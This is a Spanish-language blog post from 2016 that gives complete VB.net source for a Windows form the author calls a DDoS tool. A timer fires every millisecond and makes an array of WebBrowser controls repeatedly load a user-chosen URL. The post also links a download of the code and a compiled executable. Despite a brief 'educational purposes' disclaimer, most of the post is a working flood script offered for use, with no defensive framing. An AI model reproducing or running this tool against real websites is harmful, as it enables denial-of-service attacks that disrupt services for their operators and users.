viernes, 19 de agosto de 2016

[Codigo Fuente] Creacion De un DDos Desde VB.net

Hola amigos ahora les traigo un código simple en vb.net para la creación de ataques ddos.

AVISO: LO ES PUESTO EN ESTE DOCUMENTO SON CON FINES EDUCATIVOS...

YO NO ME HAGO RESPONSABLE POR EL MAL USO DE LA SIGUIENTE INFORMACIÓN...


En este tema anterior algo breve de como funciona un ataque ddos:
http://elblogdeflamer.blogspot.mx/2016/05/creacion-y-funcionamiento-de-un-ataque.html

Primeramente crearemos un formulario así como en la imagen




1- Ponemos 2 textbox al primero lo llamaremos url y al segundo num
2- Ponemos 4 label, sin cambiarles el nombre lo dejamos como están
3- Agregamos también un timer
4- y por ultimo ponemos 2 botones sin cambiarles el nombre




Ahora lo bueno el código y perdone si no explico el código pero es que no hay informático que no sea flojo jajaja


Imports System
Imports System.Threading
Public Class Form1
    Dim x, c As Integer
    Dim web(999) As WebBrowser

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim n As Integer
       
        If url.Text = "" Or num.Text = "" Then
            MsgBox("Hay Campos Vacios", MsgBoxStyle.Exclamation, "")
        Else
            c = CInt(num.Text) - 1
            url.Enabled = False
            num.Enabled = False
            x = 0
            For n = 0 To c
                web(n) = New WebBrowser
            Next
            Timer1.Start()
            Button1.Enabled = False
        End If
        
    End Sub
   
    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
        Button1.Enabled = True
        url.Enabled = True
        num.Enabled = True
    End Sub

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Timer1.Interval = 1
    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        Atake()
    End Sub
    Sub Atake()
        Dim n As Integer
        For n = 0 To c
            web(n).ScriptErrorsSuppressed = False
            web(n).Navigate(url.Text)
            x = x + 1
            Label1.Text = CStr(x)
        Next
    End Sub
End Class



bueno algo breve, como dije en el tema anterior un ddos se realiza haciendo varias peticiones a un servidor y lo que hace este programa es pedirle o solicitar varias beses por segundo la pagina que ustedes pongan en el cuadro de texto y claro por el puerto 80, usando como herramienta el control WebBrowser con el comando Navigate.

sin tantos rodeos aquí el código fuentes y el ejecutable para los que no tengan el vb.net:
http://www.mediafire.com/download/9iv62muxdxt383m/Codigo_Del_Megalomax.rar

y otra cosa esta programado en vb.net  2010


saludos Flamer

No hay comentarios.:

Publicar un comentario